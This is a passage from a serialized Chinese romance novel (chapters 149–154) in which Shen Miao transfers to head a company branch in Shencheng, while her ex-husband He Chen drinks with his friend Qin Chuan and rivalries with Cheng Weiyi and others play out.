与其说是贺忱给她的补偿,不如说是互惠互利,他信任她,需要她稳住他的‘江山’。 沈渺看着他伸过来的宽厚大掌,沉吟片刻,她将调职书递过去。 贺忱拿过调职书,在最后一页签下龙飞凤舞的几个大字。 秘书,妻子,前妻,下属,他的得力助手。 他们所有的关系的决定权,最后都在贺忱手里。 他给出的理由很充足,沈渺找不到理由拒绝。 片刻,贺忱将调职书重新递给她。 “剩下的事情让林昭安排。” 他唇瓣微动,‘一路顺风’几字,却是未能说出口。 “谢谢贺总这几年的关照和提拔,再会。” 沈渺微微颔首,马尾在她肩头滑落,露出光滑白皙的脖颈。 贺忱拢着眉,“走吧。” 说完他折回办公桌前坐着。 沈渺站直身体,低垂着眼帘未曾再看他一眼,转身离开。 办公桌前的男人单薄的眼皮垂着,轻颤了几下终归还是没掀起来。 不过十几分钟,沈渺从公司出来,回到商音的车上。 “顺利吗?” 商音收起手机,朝她倾斜身体,眼巴巴看着她。 沈渺颔首,“顺利。” “去哪儿!?”商音肉眼可见的激动起来。 沈渺,“深城。” 商音嘴角一扯,笑容荡然无存,“深城有分公司吗?” “刚成立,那是分部,统管长江以南所有的分公司。” 沈渺言简意赅。 “啊!?”商音惊呼了一声,“你,以后跟贺忱平起平坐了啊?” 沈渺系好安全带,“走一步看一步,先走再说。” 商音坐直身体,发动引擎,一脚油门踩下去。 “说的也是,离开京北这事儿拖这么久,现在终于落实了,回去收拾东西,什么时候走?” 沈渺,“林昭定的两天以后的票,我让他帮你也定了一张,回头把钱转给他,我们一起走。” 两天的时间很紧张,毕竟要去千里之外,她们要安排好在京北的一切。 两人去了一趟卷卷的学校,卷卷已经恢复校园生活了。 商音查了半天,也没查出浅姨把钱花哪儿了,她买通了经常来孤儿院的义工,盯着浅姨的一举一动。 商音把行李打包好,提前邮寄到深城了。 “可惜了,月嫂离不开京北,等到了深城只能再重新找,可那样的话我就先工作不了了。” 沈渺收拾着东西,听她唉声叹气的,安慰道,“没事,我的工资很高,能养得起你。” 她的薪资翻了五倍,月薪六位数。 这是她不顾一切,会接受这份工作的主要原因之一。 她和商音,都需要钱。 “那我们娘俩先靠你这个大肚婆养着了,到深城以后你负责赚钱养家,我主内,找保姆再提前找月嫂……” 商音抱着商商,狠狠亲了一口。 “商商,咱们终于要走了,未来一段时间靠干妈养着,以后她给你生个媳妇,你可不能欺负……” 沈渺将几件职业装撞入行李箱,突然掉落一张白色的纸。 纸张边缘磨损严重,但依稀能看出被保存得很好,干净整洁。 她蹲下捡起那张纸打开。 【早餐在桌上。】 没有落款,可沈渺一眼就认出,这是贺忱的字迹。 他们结婚那两年,贺忱唯一一次早起,给她留的纸条。 她看了一遍又一遍,然后小心翼翼地收藏起来,时不时就拿出来看一眼。 沈渺的心被狠狠揪了一下。 商音在哄孩子,并未注意到她的异样。 “你的身份随着水涨船高,就算有了孩子,也一定有不少追求你的,再遇到合适的,能结婚就结婚,你像温室里的花儿,得被人娇养,不像我,脱缰的野马,就适合自由……” 在她的絮絮叨叨中,沈渺秉着一口气,将那张纸攥成一团,丢入了垃圾桶里。 早就该扔了,现在扔……也不迟。 两天后,飞往深城的飞机上。 沈渺将手机关机。 再见,京北。 再见,贺忱。 149.离开的第一天,贺忱深夜来酒吧买醉 “大半夜的不睡觉,抽什么风。” 秦川穿着睡衣,上了家门口贺忱的车。 “安全带。” 贺忱薄唇轻启,丢出三个字,一脚油门踩下去。 秦川一脸诧异着,扯过安全带系上。 “去哪儿?” “到了你就知道了。” 贺忱骨节分明的手,掌控着方向盘。 车辆在一簇簇霓虹灯照耀的道路上飞速行驶。 一个小时后,京北市中心SuperMiami夜店。 整个厅被五光十色的灯光笼罩,奢靡淫乱的气息迎面扑来。 贺忱与秦川进了二楼一处包厢,能看到整个场所的景象。 关上窗,震耳欲聋的音乐隔开来。 “来这地方,你至少要告诉我一声,我好换套衣服。” 秦川看着自己身上酒红色的真丝睡衣,虽然门口的保安没拦着。 可但凡他走过的地方,都要被人多看两眼,比起那些穿着异类的人,他才像个怪物。 “喝点。” 贺忱指了指桌上高浓度的酒,“就当给你回国接风了。” 秦川:“……” 是给他接风,还是给某些人送行? 哦,某些人不在,那还真是给他接风了。 他忍不住说了句,“我都回来很久了,而且我们一起吃过饭了。” “哪里那么多废话。” 贺忱拿起整瓶的伏特加,朝秦川丢过去。 秦川下意识接住,盛情难却下,开瓶给自己倒上了一杯。 还不等喝,突然听贺忱问,“你师父算是国外内业界内最好的医生了吗。” 昏暗的包厢,一盏暖灯在贺忱头顶亮着,笼罩着他整个人。 他那双深沉的眸子被上眼睑倒映下的影子遮住情绪。 秦川目光闪烁了下,轻抿了口酒。 “天外有天人外有人,你可以再找找。” 贺忱下颚线条清晰,拧着眉的样子,显得面部紧绷。 “你师父说,神仙来了也没办法。” “如果治好了她,你还娶不娶。” 秦川问得很直白。 贺忱眉尾一扬,他墨色的瞳仁是令人琢磨不透的深沉。 “你觉得,我找医生是图什么?” 秦川,“那你怎么不早点找。” 贺忱眉骨一拢,“当初是你跟我说,没有痊愈的几率。” 现在,跟他说再找找医生,人外有人天外有天的,还是秦川。 “我的。”秦川将杯中酒倒满,朝他抬了抬,一饮而尽。 他辜负了贺忱的信任。 贺忱至今,也未曾怀疑过他任何。 “少废话。” 秦川拿出手机,往贺忱的微信上转了几个名片。 “这些都是医学界的翘楚,跟我师父不相上下,你可以试试。” 贺忱扫了一眼,挨个给林昭转发过去,让林昭去联系。 “听说沈秘书去深城了。” 秦川转移了话题,“你提拔她坐镇深城分部,百荣这边有办法交代吗?” 贺忱,“交代什么?公司上下我说了算,谁不服谁把我拉下台。” 他算是打蛇打七寸,捏准了董事们没有人有那个资本接手百荣。 短短几年,他带领百荣创下有史以来多少利润新高,在业界内的突破更是突飞猛进,将百荣一度推向新高度。 最不满的,要数明黎艳。 他手机上,至今还有数十个未接来电,全都是明黎艳打来的。 “结婚的事情,你考虑清楚。” 秦川倾身,碰了下他的杯壁,“我不认为你这样的选择是正确的。” 贺忱端起酒杯,指骨分明的手轻轻擦着杯身。 他的喉结滚动,却是没说什么,仰头将杯中酒全部喝了。 包厢里一片死寂。 门外突然传来一阵阵杂乱。 “反正贺忱这次,是搬起石头砸自己的脚,董事会对他不满,程家那边也不高兴,我要看看他怎么收场。” 接着何之洲幸灾乐祸的声音响起,“你们就等着看吧,好戏还在后面呢,他那个秘书……” 声音渐行渐远,后面何之洲又说了什么,听不见了。 贺忱提拔沈渺当分部总经理,震惊了整个商圈,成为了商圈人茶余饭后的话题。 秦川眸光微动,他反复回想着何之洲的话。 “何之洲最近好像挺老实。” 贺忱眸光郁郁,“忙着相亲,没空出来捣乱。” 秦川‘哦’了一声。 两人一言不发,你一杯我一杯地喝着。 喝到最后,秦川歪七扭八地倒在沙发上,被贺忱架着胳膊,走出夜店。 他搀扶着秦川在路边等着时,何之洲带着一群二世祖,也出来了。 何之洲喝了不少,被几个人架着,踉踉跄跄的。 一双醉意很浓的眼睛看到贺忱后,一下清明了不少。 他推开身边的人,歪歪扭扭朝贺忱走过去。 其他人试图拉住他,却被他给拨弄开。 “贺,贺忱!” 何之洲摇摇晃晃,指着与贺忱错开几个身位的地方。 “你,你晃什么?见了我,腿软站不稳了啊?” 二世祖们:“……” 没眼看,他们想拉着何之洲别去丢人,拉不住也不敢上前去,生怕惹了贺忱不痛快。 贺忱架着秦川,嘴里咬着烟,深邃的五官在浓夜更为深沉。 他将烟支拿下来,扯了下何之洲胳膊。 何之洲伸出来的手指头,这才正对着他胸口。 “你干什么?”何之洲把手缩回来,像是才看到秦川,他瞪大眼睛看了看,后退两步。 “你怎么又跟这死基佬混在一起?你老实说,放着沈渺那么好的女孩子不要,是不是跟秦川有一腿?” ‘死基佬’。 贺忱的眉头一拧,抬起脚朝着何之洲的肚子狠狠踹了一脚。 何之洲一屁股坐在地上,肚子绞痛,他捂着肚子就开始在地上打滚。 “贺忱,你王八蛋,你欺负喝多了的人,你信不信我上你家找你妈……” 二世祖们:“……” 终于有人看不下去了,小跑着上前把何之洲扶起来。 “贺总,抱歉,他喝多了,口出狂言,我们这就带他走,不打扰您了。” 两个架着何之洲的人比他还高,他双脚离地一个劲儿地倒腾,“哎,哎我怎么会飞了?” 林昭开了车过来,贺忱掐灭了烟丢入垃圾桶里,将秦川放在后座,自己则去了副驾驶。 “贺总,去哪里?”林昭指的是,把秦川送到哪里。 贺忱捏了捏眉骨,靠在驾驶位上闭目养神,“回我那儿。” 林昭,“是。” 不远处,何之洲上了何家司机的车。 他刚上去,就从口袋里掏出手机,拨出一通电话去。 “沈渺,对不起啊,我欠你一句道歉,我真的没有看你笑话的意思,我只看贺忱的,你知不知道,你离开的第一天,贺忱深夜来酒吧买醉……” 150.谢谢贺总关心,适应 深夜,沈渺还没睡。 明天第一天去公司报道,她跟商音今天才在深城落脚。 花了一天时间,把家里收拾好,商音带商商去睡觉,她则是看了些跟分部有关的资料和各部门职员简历,做初步了解。 她离开京北之前,何之洲一直给她发消息、打电话解释浅姨的事情。 她都不接,不回。 刚刚手滑接了,是怕铃声吵醒了刚刚睡着的商商。 听到何之洲醉哄哄的语气,她正想挂电话。 听到贺忱,她手指收拢,停下了动作。 “何总,你喝多了。” 何之洲打了个酒嗝,“酒后吐真言,我是真的知道错了,我求你了,你别不理我,我想,想跟你做朋友!” 沈渺懒得跟一个酒鬼扯皮。 “好,做朋友,现在你喝多了,早点回家休息。” “这话可是你说的,身为朋友,我提醒你,你的情敌除了程唯怡,还多了一个死基佬,就那个秦川,我猜他喜欢贺忱,贺忱刚刚为了他踹我一脚,不会被他给掰弯了吧?” 何之洲断断续续,说的话勉强能拼凑起来。 若不是沈渺早就知道秦川的故事,她怕是听不懂。 她将手机放在一旁,调到最小音量,继续工作。 何之洲的声音还断断续续地传来。 不知过了多久,电话那端没了声音,却还未挂断。 沈渺拿过手机挂电话,起身回房间上床。 房子是公司提供的,复式两居室,她住在一楼,商音带商商住二楼。 那母子两个早就睡着了,周围静悄悄的。 躺下的沈渺却翻来覆去的睡不着。 何之洲的话回荡在她耳边。 “你知不知道,你离开的第一天,贺忱深夜来酒吧买醉……” 沈渺跟了贺忱这么久,除了必要的应酬外,从未见他去过酒吧。 或许,今天是有应酬。 这样的念头还未落地时,她的手机忽然响了一声。 【还适应吗。】 是贺忱发来的短信消息。 他们有微信,大部分时间贺忱都会在微信上交代工作。 结婚那两年,每逢家宴回老宅时,贺忱会给她打电话,或者发短信消息。 她摸准了这个规律,微信是公事,短信或者电话是私事。 那今天这条短信—— 沈渺逐字逐句地拼凑着适当的话,回消息。 可她删删减减,又打出一堆字,最后一键清空,关了手机。 正常人这个点都睡了,她明天一早再回。 可她为什么不今晚回? 黑暗中,一个又一个的疑问,在沈渺的脑袋里蹦出来。 她缓缓睁开眼睛,轻咬着内唇。 良久,她重新拿过手机,回了两句话。 【谢谢贺总关心,适应。】 官方客气的腔调,没再换来男人回复的音讯。 临近天亮,沈渺睡过去。 被闹铃吵醒,她起床洗漱,化了个淡妆换上一套深灰色的连衣裙。 做了两份简易早餐,把商音那份留在锅里温着,她吃饱后出了家门。 百荣分部伫立在深城商业街中心。 高耸入云的大楼十分耀眼,清晨的阳光照在上面,闪闪发光。 门口一群西装革履的人站在并成一排站在那里等着。 出租车停在门口时,立马有保安上前来,打开车门。 沈渺下车,脚跟刚站稳,一个约莫五十来岁的男人快步上前来。 “沈总,我是分部暂时负责人小韩。” 韩文松不卑不亢,说话时带着几分架子。 许是没想到沈渺这么年轻,他忍不住多打量了两眼。 “韩经理。”沈渺微颔首,然后看向公司门口一众高层,“各位好,我是沈渺,以后请多多关照。” “沈总好。” “沈总好……” 此起彼伏的打招呼声,有气无力。 看似站在这里恭候,给足了沈渺这个空降的负责人面子。 实则,就只是面子工程,毫无诚意。 沈渺早就料到这一幕了,她拎着公文包进公司。 “半小时以后开会,先让人事部经理过来一趟。” 韩文松与她并肩前行,说了句,“上午九点各部门开部门会议,您要不再晚些?现在公司人员紧缺,人事部经理一早就组织员工去校招了。” 他一连拒绝了沈渺的两个请求。 沈渺抬起手腕看了一眼,现在是八点半。 她停下来,看向韩文松。 “那韩经理安排一下,各部门开会的时候,我干什么。” 韩文松,“您可以了解一下分部这边的情况。” 沈渺,“昨晚已经了解过了,韩经理是韩董的侄子,原本韩董的儿子过来接手,是打算让你做副总经理的,但现在韩董的儿子没过来,你的副总经理位置也泡汤了,但你别不高兴,干好了我也会提拔你。” 打个巴掌,给个甜枣。 韩文松一把年纪了,对着沈渺这个小丫头俯首称臣,自然是不甘心的。 可是内心的不愉快被戳破,还得到了干好了会被提拔的允诺。 他想翻脸就成了不知好歹,还落实了自己的不痛快。 “沈总说笑了,那我现在就去通知各部门来开会。” 人事部的人出去校招,流程已经提前规划好,回不来。 当天上午的会议,人事部无一人参加。 沈渺了解了一下公司各部门的主管,部分跟提前调查的资料上有出入。 大部分都在她预料之内。 会议结束,她准备回办公室时,韩文松又跟过来了。 “沈总,这是小周,您的助理兼秘书。” 沈渺回头,才看到韩文松身边还有个约莫二十多岁的年轻男人。 男人五官端正帅气,看外表像男大,透着荷尔蒙的阳光气息。 “沈总,我叫周敬才。” 周敬才朝沈渺露出一个灿烂的笑容,“没想到沈总这么年轻漂亮。” 沈渺浅笑了下,“过奖了,你也年轻帅气,来我办公室一趟吧。” 说完,她朝韩文松颔首,算是打过招呼,继而朝办公室走。 周敬才看向韩文松,韩文松朝他使了个眼色,他立马跟上沈渺。 办公室里,沈渺坐在办公桌前。 周敬才拿着行程表汇报,“今天晚上有一场商业酒会,是深城高家知道您过来,特意举办的,想与您结识一下。” 深城是高家的天下,百荣在这儿建立分部,给高家带来了威胁。 “我替您拒绝了?”周敬才反问。 “答应,今天晚上你跟我去,替我挡酒,没其他事你先出去,让人事部经理回公司立刻来我这儿一趟。” 沈渺言简意赅道。 151.有任何需要,直接给贺总打电话 周敬才静默数秒,蹦出来一句,“沈总,见人事部经理干什么啊?” “怎么?怕我辞退你?” 沈渺一语戳破他的心思。 周敬才立马笑起来,“怎么会,沈总这么年轻漂亮又聪明大义,肯定不会无缘无故开除人。” “出去吧。” 糖衣炮弹般的话,并未在沈渺心里泛起涟漪。 她开口赶人,周敬才一步三回头,没找到借口留下,不得不离开了。 临近中午,人事部经理姗姗来迟。 “抱歉沈总,不知道您今天就过来,校招是一个星期前定下的行程了。” 赵娜约莫四十来岁,微胖,典型的商业型女人。 鼻梁上架着黑色粗框眼镜,镜片下的双眼小却透着精光。 “没关系,工作重要。” 沈渺打量她一番,问道,“校招得如何。” 赵娜摇头,“现在的大学生眼高手低,觉得自己读了大学值月薪十万,没有太合适的。” “我想要个秘书。”沈渺直入主题。 “没招到。”赵娜听似无奈的语气,却带着理直气壮。 沈渺,“你去给总部打电话,让他们把秘书办的李白恬调过来跟我。” 赵娜一怔,“这……人家愿意这么远过来吗?” “让你去你就去。”沈渺一双眼眸明亮透彻。 她那张脸太好看,好看到有攻击性,再凝重严肃起来,给人一种无法抗拒的服从感。 赵娜低了低头,“我尽快在这边……” “你跟的是百荣,百荣姓贺,给你发工资的,捏着你劳务合同的全都是贺忱,认不清你的老板是谁,人事部经理的位置,你就坐到头了。” 沈渺打断她,严词厉行。 赵娜脸色一阵清白交加,“沈总,你说什么我听不懂,你刚调过来就往总部要人,好像我这个人事部经理很无能一样,您要秘书我给您招……” “既然你也知道自己无能,那就走吧。” 沈渺打开右手边抽屉,拿出解约书,放在赵娜面前。 “我跟公司签的是长约,你不能解雇我。” 赵娜脸色微变,随即态度强硬起来,“你新官上任三把火,也不能随便烧,我一没犯错二没招惹你!” 沈渺站起来,双手撑在桌子上,微微向前倾身。 “你入职后因公谋私安排了数十名员工入职,小到后勤大到高层,违反了公司规定,不仅要开除你,还要求你返还两个月的工资,如果你有异议,那就再追加一笔违约赔偿费用。” 随着她一字一顿,赵娜脸色逐渐苍白,肉眼可见的慌了。 她说完,办公室安静下来。 一片死寂。 赵娜探究的眼神打量沈渺,试图从她脸上找到一丝吓唬人的痕迹。 可完全没有,沈渺不是开玩笑的。 “沈总,我……我身在其位,也没办法!我求您给我一次机会,别开除我行吗?我一定听您的!” 赵娜语气骤变,脸色由煞白逐渐涨红。 她虽然比沈渺年长,可在商圈摸打滚爬这么多年,能坐到人事部经理的位置上,也很不容易。 若失去了这份工作,那她前面几十年的努力,都是一场笑话。 “行,那你暂时留下。” 沈渺把解约书拿回来,放回抽屉里,“跟我说说现在公司什么情况。” 她态度转变之快,仿佛刚刚的剑拔弩张不存在。 赵娜恍惚了下,又有点羞恼。 “赵经理,我说的是你暂时留下。” 沈渺提醒着她。 她不是吓唬赵娜,只是将事实摆出来,让赵娜选跟谁。 谁决定赵娜的去留,赵娜的心里再清楚不过了。 最终,赵娜败下阵来。 公司几个高层,都是韩董提前安插进来的人。 沈渺这个总经理,目前处于被架空的状态,手里根本没有实权。 “我知道了,你出去吧,别忘了跟总部申请把李白恬调过来。” 李白恬愿意跟着她来深城闯闯,她来之前就为这事儿找过她一次。 当天下午,赵娜发了让李白恬调职过来的申请。 郭经理收到后,第一时间向上汇报。 林昭来到贺忱办公室,如实汇报。 “只怕,分部那边情况不容乐观,沈秘书连个用着趁手的人都没有。” 贺忱右手翻动文件,左手指缝里夹着一根烟。 他眉心紧拧不松,“给她,让她有任何需要,及时跟你联系。” “是。”林昭颔首,复又说了句,“贺总,吸烟对身体不好,现在没重要的工作处理了,您要不到休息室睡会?” 昨晚贺忱跟秦川喝酒到半夜,今天一大早就来了公司。 相比现在还在床上躺着的秦川,他就像打了鸡血一样。 若不是眼底泛着红血丝,根本看不出他几乎一夜没睡。 “不用。” 贺忱吸了口烟,雾气在他薄唇里溢出,“让她有任何需要,直接跟我联系。” 他改了口。 林昭顿了下,才反应过来他的意思,立马颔首。 “是,贺总。” 林昭离开办公室,先找李白恬通知调职的事情后,才让郭经理办理调职手续。 当天下午,李白恬就拎着行李箱,上了去深城的飞机。 沈渺先接到了李白恬飞机起飞之前发来的消息,叮嘱李白恬路上小心后,又接到了林昭的电话。 “沈秘书,李白恬已经去深城了,不问意外明天就能上班,贺总说了,让您有任何需要,直接给他打电话。” 林昭一五一十的转述。 “给他打电话?” 沈渺那句‘知道了,谢谢’,被这惊讶到脱口而出的五个字堵在喉咙里。 “是,深城情况不容乐观,贺总担心您一个人在那边有突发情况。” 林昭解释。 沈渺一阵沉默后说,“好,放心,这边目前看来情况还不算太糟糕。” 之前韩董儿子上任是板上钉钉的事情,韩董只安插了几个能力好的心腹辅佐。 后来许是察觉到贺忱有换人的意图,韩董情急之下插人进来,安排上有很大的漏洞。 这漏洞,就是沈渺反转的好机会。 “帮我跟贺总说声谢谢。” 她清脆悦耳的声音,在偌大的办公室里蔓延开来。 林昭的手机开着免提,放在办公桌上,暗掉的屏幕倒映着的,是贺忱轮廓分明的面容。 听到沈渺的话,他眸光一沉,却是始终保持着安静。 152.程唯怡的检查报告,好像有些问题 “好。” 林昭一边打量贺忱脸色一边回答。 见贺忱没有开口的打算,他又说,“沈秘书,在深城照顾好自己,有事再联系吧。” “好,再见,林助。” 沈渺感觉怪怪的。 林昭只有在贺忱面前时,才像个机械人。 私下还是很随和的。 她轻抿着唇瓣。 那端,林昭刚把手机拿起来,就接到贺忱甩来的一个刀子眼。 他表情一僵。 “贺,贺总,您还有事吗?” 贺忱,“你有事?” “没……”林昭忙不迭摇头,冷不丁对上贺忱森冷的目光,他磕巴了下,“有……还是没有啊?” “滚。” 贺忱薄唇吐出一个字,将手里堆积了一截烟灰的烟支,怼灭。 他起身,拿过椅背上的外套,阔步离开,回家。 半路上,他给秦川打电话。 “晚上喝点,吃什么,我现在订。” 秦川,“我在医院。” 贺忱,“你走了?等下班再回来。” “不了,晚上有台手术。” 秦川拒绝道。 “手术到几点?” “烟酒不是好东西,适量可以但不能过量,你收敛点。” 贺忱那话一出,秦川就知道,贺忱还是想跟他喝酒。 吃什么不重要,重要的是一起喝酒。 “哪里这么多废话。” 贺忱嗓音不虞,“你下班过来,还是我去你家等。” 秦川,“这么晚了,我们见面不合适。” “两个光着屁股长大的男人,你告诉我半夜见面不合适?” 贺忱嗤笑了声,“少废话,下班到我家来,还是我去你家等。” 诸如此类的事情,在秦川出国前,他们不知干过多少次了。 那端静默数秒,秦川才说,“沈渺一走,你的状态直线下降,上次半夜给我打电话,还是你决定跟程唯怡在一起的时候。” 车窗外喧嚣的声音传入耳蜗,贺忱操控方向盘的手指微微拳拢。 一片死寂后,他骂了句,“都说外国人爽快,你出去几年怎么学了一身墨迹回来?” 秦川沉默。 贺忱挂电话之前,不解气地骂了句‘滚’。 饭局泡汤,但酒局没散,他回到家中,直接拆了一瓶红酒,独自浅酌。 偌大的别墅,静得落针可闻,酒水划过他喉咙的沉闷声不绝于耳。 乍然响起的铃声,打断了这股沉寂。 贺忱推开阳台门进来,拿过手机看了一眼。 是程唯怡。 隔了几秒,他滑动屏幕接起。 “贺忱哥,明天你有时间吗?我们去看一下酒店?” 程唯怡有些捏着嗓子说话,透出几股小女人柔和,在深夜显得很撩人。 贺忱嗓音一如既往地漠然,“你定就好。” “可是我妈和伯母的意思,是我们一起去。” 程唯怡顿了顿,又说,“你是不是还在为了沈渺的事情生气?你把她提拔到分部做总经理,算是补偿她了,这件事情就不能过去吗?” 贺忱,“你想多了,我有工作要处理。” “你昨晚跟秦川在酒吧出来,被媒体拍到了,幸好我爸提前一步知道消息,不然今天……你们就要上新闻了。” 程唯怡顿了下,提醒道,“你还是离秦川远一点。” 秦家人以秦川为耻,整个上流圈子里的人,都对他避之不及。 偏偏贺忱跟他打小的交情,从未变过。 “还有其他事情吗。” 程唯怡,“我爸费了好大的力气,才把新闻压下去。” “下次别压,我贺忱向来身正不怕影子斜。” 贺忱并不领这个情。 程唯怡语气迫切,“你就不怕秦川他——” “唯怡。”贺忱的嗓音徒然冷沉下来,这种话,不该从你嘴里说出来。” 程唯怡跟他和秦川,是一起长大的。 程唯怡一下噤声。 没几秒,贺忱挂电话。 忙音阵阵传来,程唯怡青着脸色,把手机狠狠丢在床上。 “怎么?”孙易琴站在门口,见她扔手机快步进来,“他拒绝了?” “他说工作忙。”程唯怡不知多少次被这话敷衍过了。 孙易琴欲言又止,片刻她叹息一声,耐着性子劝。 “百荣很忙的,好歹沈渺走了,没有人会再碍你们结婚的路,你——” “可现在还有一个秦川。” 程唯怡抬起头来,她看着孙易琴,“昨晚贺忱哥跟秦川去喝酒,半夜才从酒吧出来,我有朋友看见了,拍了照片给我,你看!” 她转身拿过手机,翻出照片拿给孙易琴看。 “你这——”孙易琴一脸无奈,“秦川跟他爸一样,都是同性恋吗?你跟他认识这么多年,不知道吗?” 程唯怡低声吼道,“我就是知道,才要防!” 她这话一出,孙易琴的脸色都变了,“真的啊?” “哎呀,跟你说不清!”程唯怡推开她站起来,进衣帽间换了套衣服。 再出来时,她已经换了一套浅粉色连衣裙,“我去找秦川一趟。” 四十分钟后,医院。 夜晚的医院很是寂静。 程唯怡的高跟鞋踩在走廊,发出‘哒哒哒’的声音。 ‘砰’ 秦川刚脱下白大褂,诊室门猛地被推开。 他循声望去,不等看清楚来的人是谁,脸上就挨了结结实实一巴掌。 ‘啪’! “秦川,你最好离贺忱哥远点!” 程唯怡翻出昨夜醉酒的照片,怼到秦川面前,“以后你再单独去见他,我不会放过你的!” 秦川冷白的脸上浮着深红色的巴掌印。 他偏着头,瘦削的脸型轮廓分明,一抹郁色突然涌上来。 他冰冷的眼神蓦地看向程唯怡。 “程唯怡,忘了老子跟你说过的话了是吧?” 对上他的眼神,程唯怡的气焰一下散去大半。 但她梗着脖子说,“我,是你忘了我说过的话!你知不知道,我一想到你就恶心,我——” 她的话还没说完,却见秦川掏出手机来,拨出一个号码。 细微的忙音声传来。 程唯怡立马压下声音来,“你干什么?你给谁打电话,你——” “说。” 电话被接通,免提下,贺忱的声音分外清晰。 程唯怡顿时噤声。 “之前程唯怡的检查报告,好像有些问题,我建议你找医生重新给她做一个全面的检查,如果后续有需要,我帮你联系专业的医生,我现在去你家,面谈。” 秦川一口气说完,拿过椅子上的外套,径直朝外面走去。 153.你真是连沈渺的一根头发丝都比不上 电话没挂之前,程唯怡追着秦川出来,拉拉扯扯,却一点声音不敢发出。 直到秦川挂了电话。 他将手机放入口袋,看向拦在自己面前,面色浮上慌乱的程唯怡。 “你——我们鱼死网破,有什么好处?秦川,你这样做会后悔的!” “我不后悔,大不了就是跟贺忱翻脸,至于我的名声早就已经不重要了。” 秦川冷着脸说。 闻言,程唯怡态度软下来。 “刚刚是我太冲动了,我承认是我——” 秦川,“程唯怡,我不打女人,但我不是纸糊的,欠我的两巴掌,你今天在这里还了,不然就走着瞧。” 还?怎么还? 他不打女人,那就程唯怡自己打吗? 程唯怡喉咙一堵,手心滚烫发麻,是刚刚打秦川用了十足力气的缘故。 秦川的半张脸还红着,阴郁的脸色让他看起来有几分吓人。 “我……”程唯怡哆嗦了下。 若不是她捏着秦川最在乎的东西,只怕秦川早就把她撕碎了! 秦川见她没有立刻动手,越过她朝电梯走。 就在他准备进电梯时,身后传来‘啪啪’两个巴掌的声音。 他停下来,回头看过去。 程唯怡脸上两个鲜红的巴掌印,涨红的脸色是被打的,也是羞耻的。 秦川进入电梯里,他瞥了程唯怡一眼。 “程唯怡,你真是连沈渺的一根头发丝都比不上,我等着看你怎么把自己作死的。” 缓缓关上的电梯门,挡住了程唯怡一瞬间爆发的嫉妒心。 她哪里比不上沈渺了!? 一个孤儿,一个秘书,天生的牛马命! 她可是程家唯一的女儿,跟贺忱一起长大的! 秦川跟沈渺接触的次数屈指可数,他怎么就觉得沈渺比她好了? 冰冷的电梯门上,折射着她铁青却又涨红的脸色。 “沈渺,等我跟贺忱哥结婚的那天,我一定让你滚出百荣!” 沈渺坐深城分部总经理的位置,她很不满意。 但至少沈渺是离开了,她提着的心落下些。 深城……程唯怡想起什么似的,掏出手机拨出一通电话。 “珊珊,你从国外回来了吗?回深城了是吧?改天有机会我去找你玩啊,对,快结婚了,到时候你来当我的伴娘啊,没关系的,我不介意已婚的人来当伴娘,谁让我们是最好的朋友呢……” —— 深城临海,夜晚微凉。 沈渺选了件酒红色的长裙,出席酒会。 路上时,周敬才把这次去酒会的名单拿给她。 都是与高家关系交好的。 “沈总,您等会儿不喝酒吗?” 快到酒会时,周敬才开了口,“第一次跟那些人见面,会不会显得不太好。” 沈渺低头看文件,“他们喝一杯,你陪三杯,算是我不能陪酒的诚意了。” 周敬才:“……” 就算沈渺不是怀孕,今晚这酒她也一滴都不能沾。 危机四伏,她初来乍到小心为妙。 “沈总,到了。” 司机将车停在酒店门口,下车绕到后座,将车门打开。 沈渺拿起包,从车上下来。 她身材高挑,没穿高跟鞋也将长裙挑得利落。 裙尾扫着她的脚踝,一静一动露出白皙的皮肤。 上台阶时,脚不小心踩了裙摆。 “需要我帮您吗?” 周敬才弯腰,试图帮忙将她的裙摆撩起来些。 沈渺伸出手拎了一把,“不用,不碍事。” 她快步上了两层台阶,松开裙摆阔步朝宴会厅走去。 周敬才比她高一个头,可她利落的步伐,需得周敬才大步流星,才能跟得上。 三层,偌大的包厢宴会厅,处处透着奢华与尊贵。 对开的花纹繁复雕刻木门铺着地毯,随着服务员将门打开。 厅内景象映入眼帘。 三五成群的西装革履商圈大佬,穿着昂贵礼服的女人打扮的花枝招展。 酒味与香水味混杂,迎面扑来。 沈渺细眉不禁微微收拢,但她面色如常,进入宴会厅内。 “这位是……” “咱深城的商圈,什么时候来了这么一位美人儿。” 人群里,有人疑惑,有人调侃。 人群中,一位约莫四十来岁的女人看到沈渺,眼仁一颤,目光紧紧随着她。 “高夫人,这位是……” 女人身边,一位贵妇开口问。 “哦,这……”高夫人扯动嘴角,“我不太清楚是谁,我去问问。” 说着她朝高先生走过去。 不待她走到高先生身边,高先生已经抬脚朝沈渺走过去了。 “是百荣集团的沈总吧。” 高振山一身浅灰色西装,带着中年男人的成熟稳重,又恰到好处的绅士。 沈渺伸出手,与男人半握手,“高总。” “没想到沈总这么年轻。” 高振山绅士的将手缩回来,推了推鼻梁上眼镜,眼底的打量,丝毫不减。 “你来深城之前,在京北任职的是?” 沈渺脸上始终挂着淡淡的笑容,“贺总的秘书,曾任职过分公司的总经理。” 闻言,高振山看她的目光意味深长了些,“那沈秘书跟贺总——” 不等她的话说完,高夫人上前来,挽住他胳膊。 “振山,这位是……” 高振山被打断说话,不悦地看了高夫人一眼,但语气平和地介绍了下。 “这位是百荣分部新上任的沈总。” 说罢,他又与沈渺介绍,“沈总,这是我太太。” 沈渺朝高夫人颔首,“高夫人。” 只是,她说完却见高夫人一直盯着她看。 高夫人那双眼睛,就像粘在了她身上,盯着她一瞬不眨。 沈渺想过来这宴会上会遇到多少事情,并且提前在心里做好了准备。 却唯独没料到,会被一个女人盯着看起来,没完没了。 ““怎么?震惊沈总这么年轻,都说不出话来了?” 高振山打着圆场,胳膊轻轻戳了下高夫人。 高夫人回神,盯着不动的目光立马变成客气地看。 “确实,很年轻,百荣是贺家那个吧?那,沈总是从京北来的吗?” 沈渺颔首,“确实是从京北调过来的。” “那,这么远一个小姑娘,你家里人放心吗?还是说父母都跟着过来了?” 高夫人在沈渺的话音还没落地时,就问出了这话。 像是她早就准备好了这个问题,就等着说出来。 154.贺忱:听说深州天气不错 初次见面,又当着这么多人,沈渺不想透露她的背景。 虽然禁不住查,但她也不会主动大庭广众之下说出来。 “抱歉,沈总,我夫人就是看你太年轻了,比我儿子大不了几岁,有些关心过头了。” 高振山又暗暗捅了高夫人两下。 高夫人保养得当,看起来只有三十多岁。 但她那双眼睛里,透着岁月的风霜,却像是五十了那般。 沈渺多看了两眼,心底生出一股异样的感觉。 她压下那股异样,浅笑道,“理解,很荣幸今天受邀来参加高总的酒会,以后在深城多多关照。” 